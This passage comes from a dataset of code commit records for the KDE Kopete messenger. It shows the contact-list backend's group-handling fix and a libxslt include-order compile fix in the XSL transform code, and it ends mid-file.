list.firstChild();\n\twhile( !node.isNull() )\n\t{\n\t\tQDomElement element = node.toElement();\n\t\tif( !element.isNull() )\n\t\t{\n\t\t\tif( element.tagName() == \"meta-contact\" )\n\t\t\t{\n\t\t\t\t\/\/TODO: id isn't used\n\t\t\t\tQString id = element.attribute( \"id\", QString::null );\n\t\t\t\tKopeteMetaContact *metaContact = new KopeteMetaContact();\n\n\t\t\t\tQDomNode contactNode = node.firstChild();\n\t\t\t\tif ( !metaContact->fromXML( contactNode ) )\n\t\t\t\t{\n\t\t\t\t\tdelete metaContact;\n\t\t\t\t\tmetaContact = 0;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tKopeteContactList::contactList()->addMetaContact(\n\t\t\t\t\t\tmetaContact );\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tkdDebug() << \"KopeteContactList::loadXML: Warning: \"\n\t\t\t\t\t  << \"Unknown element '\" << element.tagName()\n\t\t\t\t\t  << \"' in contact list!\" << endl;\n\t\t\t}\n\n\t\t}\n\t\tnode = node.nextSibling();\n\t}\n\tcontactListFile.close();\n}\n\nvoid KopeteContactList::saveXML()\n{\n\tQString contactListFileName = locateLocal( \"appdata\", \"contactlist.xml\" );\n\n\t\/\/kdDebug() << \"KopeteContactList::saveXML: Contact List File: \"\n\t\/\/\t<< contactListFileName << endl;\n\tQFile contactListFile( contactListFileName );\n\tif( contactListFile.open( IO_WriteOnly ) )\n\t{\n\t\tQTextStream stream( &contactListFile );\n\t\tstream.setEncoding( QTextStream::UnicodeUTF8 );\n\n\t\tstream << toXML();\n\n\t\tcontactListFile.close();\n\t}\n\telse\n\t{\n\t\tkdDebug() << \"WARNING: Couldn't open contact list file \"\n\t\t\t<< contactListFileName << \". Contact list not saved.\" << endl;\n\t}\n}\n\nQString KopeteContactList::toXML()\n{\n\tQString xml = \"<?xml version=\\\"1.0\\\"?>\\n\"\n\t\t\"<messaging-contact-list>\\n\";\n\n\tQPtrListIterator<KopeteMetaContact> metaContactIt( m_contacts );\n\tfor( ; metaContactIt.current(); ++metaContactIt )\n\t{\n\t\tkdDebug() << \"KopeteContactList::toXML: Saving meta contact \"\n\t\t\t<< ( *metaContactIt )->displayName() << endl;\n\t\txml +=  ( *metaContactIt)->toXML();\n\t}\n\n\txml += \"<\/messaging-contact-list>\\n\";\n\n\treturn xml;\n}\n\n\nQStringList KopeteContactList::contacts() const\n{\n\tQStringList contacts;\n\tQPtrListIterator<KopeteMetaContact> it( m_contacts );\n\tfor( ; it.current(); ++it )\n\t{\n\t\tcontacts.append( it.current()->displayName() );\n\t}\n\treturn contacts;\n}\n\nQStringList KopeteContactList::contactStatuses() const\n{\n\tQStringList meta_contacts;\n\tQPtrListIterator<KopeteMetaContact> it( m_contacts );\n\tfor( ; it.current(); ++it )\n\t{\n\t\tmeta_contacts.append( QString( \"%1 (%2)\" ).arg(\n\t\t\tit.current()->displayName() ).arg(\n\t\t\tit.current()->statusString() ) );\n\t}\n\treturn meta_contacts;\n}\n\nQStringList KopeteContactList::reachableContacts() const\n{\n\tQStringList contacts;\n\tQPtrListIterator<KopeteMetaContact> it( m_contacts );\n\tfor( ; it.current(); ++it )\n\t{\n\t\tif ( it.current()->isReachable() )\n\t\t\tcontacts.append( it.current()->displayName() );\n\t}\n\treturn contacts;\n}\n\nQStringList KopeteContactList::onlineContacts() const\n{\n\tQStringList contacts;\n\tQPtrListIterator<KopeteMetaContact> it( m_contacts );\n\tfor( ; it.current(); ++it )\n\t{\n\t\tif ( it.current()->isOnline() )\n\t\t\tcontacts.append( it.current()->displayName() );\n\t}\n\treturn contacts;\n}\n\nQStringList KopeteContactList::groups() const\n{\n\tQStringList groups;\n\n\tQPtrListIterator<KopeteMetaContact> it( m_contacts );\n\tkdDebug() << \"[AddContactWizard] ****************************\" <<endl;\n\n\tfor( ; it.current(); ++it )\n\t{\n\t\tQStringList thisgroups;\n\n\t\t\/* We get groups for this metacontact *\/\n\t\tthisgroups = it.current()->groups();\n\n\t\tif ( thisgroups.isEmpty() ) continue;\n\n\t\tfor( QStringList::ConstIterator it = thisgroups.begin();\n\t\t\tit != thisgroups.end(); ++it )\n\t\t{\n\t\t\t \/* We add the group only if it is not already there *\/\n\t\t\tQString groupname = (*it);\n\t\t\tif ( ! groups.contains( groupname ) && !groupname.isNull() )\n\t\t\t{\n\t\t\t\tkdDebug() << \"[AddContactWizard] Adding group [\"\n\t\t\t\t\t<< groupname << \"]\" <<endl;\n\t\t\t\tgroups.append( *it );\n\t\t\t}\n\t\t}\n\t}\n\tkdDebug() << \"[AddContactWizard] ****************************\" <<endl;\n\n\treturn groups;\n}\n\n#include \"kopetecontactlist.moc\"\n\n\/\/ vim: set noet ts=4 sts=4 sw=4:\n\n<commit_msg>Fixes adding a toplevel contact to a group<commit_after>\/*\n    kopetecontactlist.cpp - Kopete's Contact List backend\n\n    Copyright (c) 2002 by Martijn Klingens       <klingens@kde.org>\n    Copyright (c) 2002 by Duncan Mac-Vicar Prett <duncan@kde.org>\n\n    Copyright (c) 2002 by the Kopete developers  <kopete-devel@kde.org>\n\n    *************************************************************************\n    *                                                                       *\n    * This program is free software; you can redistribute it and\/or modify  *\n    * it under the terms of the GNU General Public License as published by  *\n    * the Free Software Foundation; either version 2 of the License, or     *\n    * (at your option) any later version.                                   *\n    *                                                                       *\n    *************************************************************************\n*\/\n\n#include \"kopetecontactlist.h\"\n\n#include \"kopete.h\"\n#include \"kopetecontactlistview.h\"\n#include \"kopetemetacontact.h\"\n#include \"kopetemetacontactlvi.h\"\n#include \"kopeteprotocol.h\"\n#include \"pluginloader.h\"\n\n#include <qptrlist.h>\n#include <qstringlist.h>\n#include <qstylesheet.h>\n\n#include <klocale.h>\n#include <kapplication.h>\n#include <kdebug.h>\n#include <kglobal.h>\n#include <kstandarddirs.h>\n\nKopeteContactList *KopeteContactList::s_contactList = 0L;\n\nKopeteContactList *KopeteContactList::contactList()\n{\n\tif( !s_contactList )\n\t\ts_contactList = new KopeteContactList;\n\n\treturn s_contactList;\n}\n\nKopeteContactList::KopeteContactList()\n: QObject( kapp, \"KopeteContactList\" )\n{\n}\n\nKopeteContactList::~KopeteContactList()\n{\n}\n\nKopeteMetaContact *KopeteContactList::findContact( const QString &protocolId,\n\tconst QString &identityId, const QString &contactId )\n{\n\t\/\/kdDebug() << \"*** Looking for contact \" << contactId << \", proto \"\n\t\/\/\t<< protocolId << endl;\n\tQPtrListIterator<KopeteMetaContact> it( m_contacts );\n\tfor( ; it.current(); ++it )\n\t{\n\t\t\/\/kdDebug() << \"*** Iterating \" << it.current()->displayName() << endl;\n\t\tKopeteContact *c = it.current()->findContact( protocolId, identityId,\n\t\t\tcontactId );\n\t\tif( c )\n\t\t\treturn it.current();\n\t}\n\t\/\/kdDebug() << \"*** Not found!\" << endl;\n\n\t\/\/ Contact not found, create a new meta contact\n\tKopeteMetaContact *mc = new KopeteMetaContact();\n\t\/\/m_contacts.append( c );\n\tKopeteContactList::contactList()->addMetaContact(mc);\n\n\treturn mc;\n}\n\n\nvoid KopeteContactList::addMetaContact( KopeteMetaContact *mc )\n{\n\tQStringList groups;\n\n\tgroups = mc->groups();\n\n\tm_contacts.append( mc );\n\n\tconnect( mc, SIGNAL( addedToGroup( KopeteMetaContact *, const QString & ) ),\n\t\tthis, SLOT(slotAddedToGroup( KopeteMetaContact *, const QString & ) ) );\n    connect( mc, SIGNAL( removedFromGroup( KopeteMetaContact *, const QString & ) ),\n\t\tthis, SLOT(slotRemovedFromGroup( KopeteMetaContact *, const QString & ) ) );\n\n\t\n\tif ( groups.isEmpty() )\n\t{\n\t\tkdDebug() << \"KopeteContactList::addMetaContact : adding metacontact with no groups\" <<endl;\n\t\tkopeteapp->contactList()->addContact( mc );\n\t}\n\telse\n\t{\n\t\tQStringList::ConstIterator it = groups.begin();\n\t\tfor( ; it != groups.end(); ++it )\n\t\t{\n\t\t\tQString group = *it;\n\t\t\tkdDebug() << \"KopeteContactList::addMetaContact: \"\n\t\t\t\t<< \"adding metacontact to group \" << group <<endl;\n\t\t\tkopeteapp->contactList()->addContact( mc, group );\n\t\t}\n\t}\n}\n\nvoid KopeteContactList::slotAddedToGroup( KopeteMetaContact *mc, const QString &to )\n{\n\tkopeteapp->contactList()->addContact( mc, to );\n\n\tif ( (mc->groups()).count() == 1 )\n\t{\n\t\tkopeteapp->contactList()->removeTopLevel(mc);\n\t}\n}\n\nvoid KopeteContactList::slotRemovedFromGroup(KopeteMetaContact *mc, const QString &from )\n{\n\tkopeteapp->contactList()->removeContact( mc, from );\n\n\tif ( (mc->groups()).isEmpty() )\n\t{\n\t\tkopeteapp->contactList()->addContact(mc);\n\t}\n\n}\n\n\nvoid KopeteContactList::loadXML()\n{\n\tQDomDocument contactList( \"messaging-contact-list\" );\n\n\tQString filename = locateLocal( \"appdata\", \"contactlist.xml\" );\n\n\tif( filename.isEmpty() )\n\t\treturn ;\n\n\tQFile contactListFile( filename );\n\tcontactListFile.open( IO_ReadOnly );\n\tcontactList.setContent( &contactListFile );\n\n\tQDomElement list = contactList.documentElement();\n\tQDomNode node = list.firstChild();\n\twhile( !node.isNull() )\n\t{\n\t\tQDomElement element = node.toElement();\n\t\tif( !element.isNull() )\n\t\t{\n\t\t\tif( element.tagName() == \"meta-contact\" )\n\t\t\t{\n\t\t\t\t\/\/TODO: id isn't used\n\t\t\t\tQString id = element.attribute( \"id\", QString::null );\n\t\t\t\tKopeteMetaContact *metaContact = new KopeteMetaContact();\n\n\t\t\t\tQDomNode contactNode = node.firstChild();\n\t\t\t\tif ( !metaContact->fromXML( contactNode ) )\n\t\t\t\t{\n\t\t\t\t\tdelete metaContact;\n\t\t\t\t\tmetaContact = 0;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tKopeteContactList::contactList()->addMetaContact(\n\t\t\t\t\t\tmetaContact );\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tkdDebug() << \"KopeteContactList::loadXML: Warning: \"\n\t\t\t\t\t  << \"Unknown element '\" << element.tagName()\n\t\t\t\t\t  << \"' in contact list!\" << endl;\n\t\t\t}\n\n\t\t}\n\t\tnode = node.nextSibling();\n\t}\n\tcontactListFile.close();\n}\n\nvoid KopeteContactList::saveXML()\n{\n\tQString contactListFileName = locateLocal( \"appdata\", \"contactlist.xml\" );\n\n\t\/\/kdDebug() << \"KopeteContactList::saveXML: Contact List File: \"\n\t\/\/\t<< contactListFileName << endl;\n\tQFile contactListFile( contactListFileName );\n\tif( contactListFile.open( IO_WriteOnly ) )\n\t{\n\t\tQTextStream stream( &contactListFile );\n\t\tstream.setEncoding( QTextStream::UnicodeUTF8 );\n\n\t\tstream << toXML();\n\n\t\tcontactListFile.close();\n\t}\n\telse\n\t{\n\t\tkdDebug() << \"WARNING: Couldn't open contact list file \"\n\t\t\t<< contactListFileName << \". Contact list not saved.\" << endl;\n\t}\n}\n\nQString KopeteContactList::toXML()\n{\n\tQString xml = \"<?xml version=\\\"1.0\\\"?>\\n\"\n\t\t\"<messaging-contact-list>\\n\";\n\n\tQPtrListIterator<KopeteMetaContact> metaContactIt( m_contacts );\n\tfor( ; metaContactIt.current(); ++metaContactIt )\n\t{\n\t\tkdDebug() << \"KopeteContactList::toXML: Saving meta contact \"\n\t\t\t<< ( *metaContactIt )->displayName() << endl;\n\t\txml +=  ( *metaContactIt)->toXML();\n\t}\n\n\txml += \"<\/messaging-contact-list>\\n\";\n\n\treturn xml;\n}\n\n\nQStringList KopeteContactList::contacts() const\n{\n\tQStringList contacts;\n\tQPtrListIterator<KopeteMetaContact> it( m_contacts );\n\tfor( ; it.current(); ++it )\n\t{\n\t\tcontacts.append( it.current()->displayName() );\n\t}\n\treturn contacts;\n}\n\nQStringList KopeteContactList::contactStatuses() const\n{\n\tQStringList meta_contacts;\n\tQPtrListIterator<KopeteMetaContact> it( m_contacts );\n\tfor( ; it.current(); ++it )\n\t{\n\t\tmeta_contacts.append( QString( \"%1 (%2)\" ).arg(\n\t\t\tit.current()->displayName() ).arg(\n\t\t\tit.current()->statusString() ) );\n\t}\n\treturn meta_contacts;\n}\n\nQStringList KopeteContactList::reachableContacts() const\n{\n\tQStringList contacts;\n\tQPtrListIterator<KopeteMetaContact> it( m_contacts );\n\tfor( ; it.current(); ++it )\n\t{\n\t\tif ( it.current()->isReachable() )\n\t\t\tcontacts.append( it.current()->displayName() );\n\t}\n\treturn contacts;\n}\n\nQStringList KopeteContactList::onlineContacts() const\n{\n\tQStringList contacts;\n\tQPtrListIterator<KopeteMetaContact> it( m_contacts );\n\tfor( ; it.current(); ++it )\n\t{\n\t\tif ( it.current()->isOnline() )\n\t\t\tcontacts.append( it.current()->displayName() );\n\t}\n\treturn contacts;\n}\n\nQStringList KopeteContactList::groups() const\n{\n\tQStringList groups;\n\n\tQPtrListIterator<KopeteMetaContact> it( m_contacts );\n\tkdDebug() << \"[AddContactWizard] ****************************\" <<endl;\n\n\tfor( ; it.current(); ++it )\n\t{\n\t\tQStringList thisgroups;\n\n\t\t\/* We get groups for this metacontact *\/\n\t\tthisgroups = it.current()->groups();\n\n\t\tif ( thisgroups.isEmpty() ) continue;\n\n\t\tfor( QStringList::ConstIterator it = thisgroups.begin();\n\t\t\tit != thisgroups.end(); ++it )\n\t\t{\n\t\t\t \/* We add the group only if it is not already there *\/\n\t\t\tQString groupname = (*it);\n\t\t\tif ( ! groups.contains( groupname ) && !groupname.isNull() )\n\t\t\t{\n\t\t\t\tkdDebug() << \"[AddContactWizard] Adding group [\"\n\t\t\t\t\t<< groupname << \"]\" <<endl;\n\t\t\t\tgroups.append( *it );\n\t\t\t}\n\t\t}\n\t}\n\tkdDebug() << \"[AddContactWizard] ****************************\" <<endl;\n\n\treturn groups;\n}\n\n#include \"kopetecontactlist.moc\"\n\n\/\/ vim: set noet ts=4 sts=4 sw=4:\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    kopetexsl.cpp - Kopete XSL Routines\n\n    Copyright (c) 2003      by Jason Keirstead       <jason@keirstead.org>\n    Copyright (c) 2003      by Martijn Klingens      <klingens@kde.org>\n\n    Kopete    (c) 2002-2003 by the Kopete developers <kopete-devel@kde.org>\n\n    *************************************************************************\n    *                                                                       *\n    * This library is free software; you can redistribute it and\/or         *\n    * modify it under the terms of the GNU Lesser General Public            *\n    * License as published by the Free Software Foundation; either          *\n    * version 2 of the License, or (at your option) any later version.      *\n    *                                                                       *\n    *************************************************************************\n*\/\n\n#include \"kopetexsl.h\"\n\n#include <libxml\/globals.h>\n#include <libxml\/parser.h>\n#include <libxslt\/transform.h>\n#include <libxslt\/xsltInternals.h>\n#include <libxslt\/xsltconfig.h>\n\n\/\/ Solaris Fix\n\/\/ FIXME: _why_ is including stdlib.h a Solaris fix? Stuff like this should\n\/\/        be documented - Martijn\n#include <stdlib.h>\n\n#include <qregexp.h>\n#include <qsignal.h>\n#include <qthread.h>\n\n#include <kdebug.h>\n#include <klocale.h>\n\n\/**\n * @author Jason Keirstead <jason@keirstead.org>\n *\n * The thread class that actually performs the XSL processing.\n * Using a thread allows async operation.\n *\/\nclass KopeteXSLThread : public QThread\n{\npublic:\n\t\/**\n\t * Thread constructor\n\t *\n\t * @param xmlString The XML to be transformed\n\t * @param xslString The XSL string we will use to transform\n\t * @param target Target object to connect to for async operation\n\t * @param slotCompleted Slot to fire on completion in asnc operation\n\t *\/\n\tKopeteXSLThread( const QString &xmlString, const QCString &xslString, QObject *target = 0L, const char *slotCompleted = 0L );\n\n\t\/**\n\t * Reimplemented from QThread. Does the processing.\n\t *\/\n\tvirtual void run();\n\n\tstatic QString xsltTransform( const QString &xmlString, const QCString &xsltString );\n\n\t\/**\n\t * Returns the result string\n\t *\/\n\tconst QString &result()\n\t{ return m_resultString; };\n\nprivate:\n\tQString m_xml;\n\tQCString m_xsl;\n\tQString m_resultString;\n\tQObject *m_target;\n\tconst char *m_slotCompleted;\n};\n\nKopeteXSLThread::KopeteXSLThread( const QString &xmlString, const QCString &xsltString, QObject *target, const char *slotCompleted )\n{\n\tm_xml = xmlString;\n\tm_xsl = xsltString;\n\n\tm_target = target;\n\tm_slotCompleted = slotCompleted;\n}\n\nvoid KopeteXSLThread::run()\n{\n\tm_resultString = xsltTransform( m_xml, m_xsl );\n\n\t\/\/ Signal completion\n\tif( m_target && m_slotCompleted )\n\t{\n\t\tQSignal completeSignal( m_target );\n\t\tcompleteSignal.connect( m_target, m_slotCompleted );\n\t\tcompleteSignal.setValue( m_resultString );\n\t\tcompleteSignal.activate();\n\n\t\t\/\/ FIXME: Why no 'delete this' if there's no slotCompleted? - Martijn\n\t\tdelete this;\n\t}\n}\n\nQString KopeteXSLThread::xsltTransform( const QString &xmlString, const QCString &xslCString )\n{\n\t\/\/ Init Stuff\n\txmlLoadExtDtdDefaultValue = 0;\n\txmlSubstituteEntitiesDefault( 1 );\n\n\t\/\/ Convert QString into a C string\n\tQCString xmlCString = xmlString.utf8();\n\n\tQString resultString;\n\tQString errorMsg;\n\n\t\/\/ Read XML docs in from memory\n\txmlDocPtr xmlDoc = xmlParseMemory( xmlCString, xmlCString.length() );\n\tif ( xmlDoc )\n\t{\n\t\txmlDocPtr xslDoc = xmlParseMemory( xslCString, xslCString.length() );\n\t\tif ( xslDoc )\n\t\t{\n\t\t\txsltStylesheetPtr styleSheet = xsltParseStylesheetDoc( xslDoc );\n\t\t\tif ( styleSheet )\n\t\t\t{\n\t\t\t\txmlDocPtr resultDoc = xsltApplyStylesheet( styleSheet, xmlDoc, NULL );\n\t\t\t\tif ( resultDoc )\n\t\t\t\t{\n\t\t\t\t\t\/\/ Save the result into the QString\n\t\t\t\t\txmlChar *mem;\n\t\t\t\t\tint size;\n\t\t\t\t\txmlDocDumpMemory( resultDoc, &mem, &size );\n\t\t\t\t\tresultString = QString::fromUtf8( QCString( ( char * )( mem ), size + 1 ) );\n\t\t\t\t\tfree( mem );\n\t\t\t\t\txmlFreeDoc( resultDoc );\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\terrorMsg = i18n( \"Transformed document is null!\" );\n\t\t\t\t}\n\t\t\t\txsltFreeStylesheet( styleSheet );\n\n\t\t\t\t\/\/ FIXME: No xmlFreeDoc( xslDoc ) here? - Martijn\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\terrorMsg = i18n( \"Document is not valid XSL!\" );\n\t\t\t\txmlFreeDoc( xslDoc );\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\terrorMsg = i18n( \"XSL document could not be parsed!\" );\n\t\t}\n\t\txmlFreeDoc( xmlDoc );\n\t}\n\telse\n\t{\n\t\terrorMsg = i18n( \"XML document could not be parsed!\" );\n\t}\n\n\tif ( resultString.isEmpty() )\n\t\tresultString = i18n( \"<div><b>An internal Kopete error occurred while parsing a message:<\/b><br \/>%1<\/div>\" ).arg( errorMsg );\n\n\treturn resultString;\n}\n\nclass KopeteXSLTPrivate\n{\npublic:\n\tQCString document;\n};\n\nKopeteXSLT::KopeteXSLT( const QString &document, QObject *parent )\n: QObject( parent )\n{\n\td = new KopeteXSLTPrivate;\n\n\tsetXSLT( document );\n}\n\nKopeteXSLT::~KopeteXSLT()\n{\n\tdelete d;\n}\n\nvoid KopeteXSLT::setXSLT( const QString &_document )\n{\n\t\/\/ Search for '<kopete-i18n>' elements and feed them through i18n().\n\t\/\/ After that replace the %VAR% variables with their proper XSLT counterpart.\n\t\/\/\n\t\/\/ FIXME: Preprocessing the document using the QString API is fast and simple,\n\t\/\/        but also error-sensitive.\n\t\/\/        In fact, there are a couple of known issues with this algorithm that\n\t\/\/        depend on the strings in the current styles. If these strings change\n\t\/\/        they may break the parsing here.\n\t\/\/\n\t\/\/        The reason I'm doing it like this is because of issues with QDOM and\n\t\/\/        namespaces in earlier Qt versions. When we drop Qt 3.1.x support we\n\t\/\/        should probably convert this to more accurate DOM code. - Martijn\n\tQRegExp elementMatch( QString::fromLatin1( \"<kopete-i18n>(.*)<\/kopete-i18n>\" ) );\n\telementMatch.setMinimal( true );\n\tQString document = _document;\n\tint pos;\n\twhile ( ( pos = elementMatch.search( document ) ) != -1 )\n\t{\n\t\tQString orig = elementMatch.cap( 1 );\n\t\t\/\/kdDebug( 14010 ) << k_funcinfo << \"Original text: \" << orig << endl;\n\n\t\t\/\/ Split on % and go over all parts\n\t\tQStringList parts = QStringList::split( '%', i18n( orig.utf8() ), true );\n\n\t\t\/\/ The first part is always text, as our variables are written like %FOO%\n\t\tQStringList::Iterator it = parts.begin();\n\t\tQString trans = *it;\n\t\tbool prependPercent = true;\n\t\tit = parts.remove( it );\n\t\tfor ( it = parts.begin(); it != parts.end(); ++it )\n\t\t{\n\t\t\tprependPercent = false;\n\t\t\tif ( *it == QString::fromLatin1( \"TIME\" ) )\n\t\t\t{\n\t\t\t\ttrans += QString::fromLatin1( \"<xsl:value-of select=\\\"@time\\\"\/>\" );\n\t\t\t}\n\t\t\telse if ( *it == QString::fromLatin1( \"FROM_CONTACT_DISPLAYNAME\" ) )\n\t\t\t{\n\t\t\t\ttrans += QString::fromLatin1( \"<span><xsl:attribute name=\\\"title\\\">\"\n\t\t\t\t\t\"<xsl:choose>\"\n\t\t\t\t\t\t\"<xsl:when test='from\/contact\/@contactId=from\/contact\/@metaContactDisplayName'>\"\n\t\t\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"from\/contact\/@contactId\\\"\/>\"\n\t\t\t\t\t\t\"<\/xsl:when>\"\n\t\t\t\t\t\t\"<xsl:otherwise>\"\n\t\t\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"from\/contact\/@contactId\\\"\/>\"\n\t\t\t\t\t\t\t\"&#160;<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"from\/contact\/@metaContactDisplayName\\\"\/>\"\n\t\t\t\t\t\t\"<\/xsl:otherwise>\"\n\t\t\t\t\t\"<\/xsl:choose><\/xsl:attribute>\"\n\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"from\/contact\/@contactDisplayName\\\"\/><\/span>\" );\n\t\t\t}\n\t\t\telse if ( *it == QString::fromLatin1( \"TO_CONTACT_DISPLAYNAME\" ) )\n\t\t\t{\n\t\t\t\ttrans += QString::fromLatin1( \"<span><xsl:attribute name=\\\"title\\\">\"\n\t\t\t\t\t\"<xsl:choose>\"\n\t\t\t\t\t\t\"<xsl:when test='to\/contact\/@contactId=to\/contact\/@metaContactDisplayName'>\"\n\t\t\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"to\/contact\/@contactId\\\"\/>\"\n\t\t\t\t\t\t\"<\/xsl:when>\"\n\t\t\t\t\t\t\"<xsl:otherwise>\"\n\t\t\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"to\/contact\/@contactId\\\"\/>\"\n\t\t\t\t\t\t\t\"&#160;<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"to\/contact\/@metaContactDisplayName\\\"\/>\"\n\t\t\t\t\t\t\"<\/xsl:otherwise>\"\n\t\t\t\t\t\"<\/xsl:choose><\/xsl:attribute>\"\n\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"to\/contact\/@contactDisplayName\\\"\/><\/span>\" );\n\t\t\t}\n\t\t\telse if ( *it == QString::fromLatin1( \"FROM_METACONTACT_DISPLAYNAME\" ) )\n\t\t\t{\n\t\t\t\ttrans += QString::fromLatin1( \"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"from\/contact\/@metaContactDisplayName\\\"\/>\" );\n\t\t\t}\n\t\t\telse if ( *it == QString::fromLatin1( \"TO_METACONTACT_DISPLAYNAME\" ) )\n\t\t\t{\n\t\t\t\ttrans += QString::fromLatin1( \"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"to\/contact\/@metaContactDisplayName\\\"\/>\" );\n\t\t\t}\n\t\t\telse if ( *it == QString::fromLatin1( \"FROM_CONTACT_ID\" ) )\n\t\t\t{\n\t\t\t\ttrans += QString::fromLatin1( \"<span><xsl:attribute name=\\\"title\\\">\"\n\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"from\/contact\/@contactDisplayName\\\"\/><\/xsl:attribute>\"\n\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"from\/contact\/@contactId\\\"\/><\/span>\" );\n\t\t\t}\n\t\t\telse if ( *it == QString::fromLatin1( \"TO_CONTACT_ID\" ) )\n\t\t\t{\n\t\t\t\ttrans += QString::fromLatin1( \"<span><xsl:attribute name=\\\"title\\\">\"\n\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"to\/contact\/@contactDisplayName\\\"\/><\/xsl:attribute>\"\n\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"to\/contact\/@contactId\\\"\/><\/span>\" );\n\t\t\t}\n\t\t\telse if ( *it == QString::fromLatin1( \"BODY\" ) )\n\t\t\t{\n\t\t\t\ttrans += QString::fromLatin1( \"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"body\\\"\/>\" );\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif ( prependPercent )\n\t\t\t\t\ttrans += '%';\n\t\t\t\ttrans += *it;\n\t\t\t\tprependPercent = true;\n\t\t\t}\n\t\t}\n\t\t\/\/kdDebug( 14010 ) << k_funcinfo << \"Translated text: \" << trans << endl;\n\t\t\/\/ Add \"<kopete-i18n>\" and \"<\/kopete-i18n>\" to length, hence the '+ 27'\n\t\tdocument.replace( uint( pos ), orig.length() + 27, trans );\n\t}\n\td->document = document.utf8();\n}\n\nQString KopeteXSLT::transform( const QString &xmlString )\n{\n\treturn KopeteXSLThread::xsltTransform( xmlString, d->document );\n}\n\nvoid KopeteXSLT::transformAsync( const QString &xmlString, QObject *target, const char *slotCompleted )\n{\n\t( new KopeteXSLThread( xmlString, d->document, target, slotCompleted ) )->start();\n}\n\nbool KopeteXSLT::isValid()\n{\n\tbool retVal = false;\n\n\t\/\/ Init Stuff\n\txmlLoadExtDtdDefaultValue = 0;\n\txmlSubstituteEntitiesDefault( 1 );\n\n\txmlDocPtr xslDoc = xmlParseMemory( d->document, d->document.length() );\n\tif ( xslDoc )\n\t{\n\t\txsltStylesheetPtr styleSheet = xsltParseStylesheetDoc( xslDoc );\n\t\tif ( styleSheet )\n\t\t{\n\t\t\tretVal = true;\n\t\t\txsltFreeStylesheet( styleSheet );\n\t\t}\n\t\telse\n\t\t{\n\t\t\txmlFreeDoc( xslDoc );\n\t\t}\n\t}\n\n\treturn retVal;\n}\n\n#include \"kopetexsl.moc\"\n\n\/\/ vim: set noet ts=4 sts=4 sw=4:\n\n<commit_msg>libxslt compile fix<commit_after>\/*\n    kopetexsl.cpp - Kopete XSL Routines\n\n    Copyright (c) 2003      by Jason Keirstead       <jason@keirstead.org>\n    Copyright (c) 2003      by Martijn Klingens      <klingens@kde.org>\n\n    Kopete    (c) 2002-2003 by the Kopete developers <kopete-devel@kde.org>\n\n    *************************************************************************\n    *                                                                       *\n    * This library is free software; you can redistribute it and\/or         *\n    * modify it under the terms of the GNU Lesser General Public            *\n    * License as published by the Free Software Foundation; either          *\n    * version 2 of the License, or (at your option) any later version.      *\n    *                                                                       *\n    *************************************************************************\n*\/\n\n#include \"kopetexsl.h\"\n\n#include <libxml\/globals.h>\n#include <libxml\/parser.h>\n#include <libxslt\/xsltInternals.h>\n#include <libxslt\/transform.h>\n#include <libxslt\/xsltconfig.h>\n\n\/\/ Solaris Fix\n\/\/ FIXME: _why_ is including stdlib.h a Solaris fix? Stuff like this should\n\/\/        be documented - Martijn\n#include <stdlib.h>\n\n#include <qregexp.h>\n#include <qsignal.h>\n#include <qthread.h>\n\n#include <kdebug.h>\n#include <klocale.h>\n\n\/**\n * @author Jason Keirstead <jason@keirstead.org>\n *\n * The thread class that actually performs the XSL processing.\n * Using a thread allows async operation.\n *\/\nclass KopeteXSLThread : public QThread\n{\npublic:\n\t\/**\n\t * Thread constructor\n\t *\n\t * @param xmlString The XML to be transformed\n\t * @param xslString The XSL string we will use to transform\n\t * @param target Target object to connect to for async operation\n\t * @param slotCompleted Slot to fire on completion in asnc operation\n\t *\/\n\tKopeteXSLThread( const QString &xmlString, const QCString &xslString, QObject *target = 0L, const char *slotCompleted = 0L );\n\n\t\/**\n\t * Reimplemented from QThread. Does the processing.\n\t *\/\n\tvirtual void run();\n\n\tstatic QString xsltTransform( const QString &xmlString, const QCString &xsltString );\n\n\t\/**\n\t * Returns the result string\n\t *\/\n\tconst QString &result()\n\t{ return m_resultString; };\n\nprivate:\n\tQString m_xml;\n\tQCString m_xsl;\n\tQString m_resultString;\n\tQObject *m_target;\n\tconst char *m_slotCompleted;\n};\n\nKopeteXSLThread::KopeteXSLThread( const QString &xmlString, const QCString &xsltString, QObject *target, const char *slotCompleted )\n{\n\tm_xml = xmlString;\n\tm_xsl = xsltString;\n\n\tm_target = target;\n\tm_slotCompleted = slotCompleted;\n}\n\nvoid KopeteXSLThread::run()\n{\n\tm_resultString = xsltTransform( m_xml, m_xsl );\n\n\t\/\/ Signal completion\n\tif( m_target && m_slotCompleted )\n\t{\n\t\tQSignal completeSignal( m_target );\n\t\tcompleteSignal.connect( m_target, m_slotCompleted );\n\t\tcompleteSignal.setValue( m_resultString );\n\t\tcompleteSignal.activate();\n\n\t\t\/\/ FIXME: Why no 'delete this' if there's no slotCompleted? - 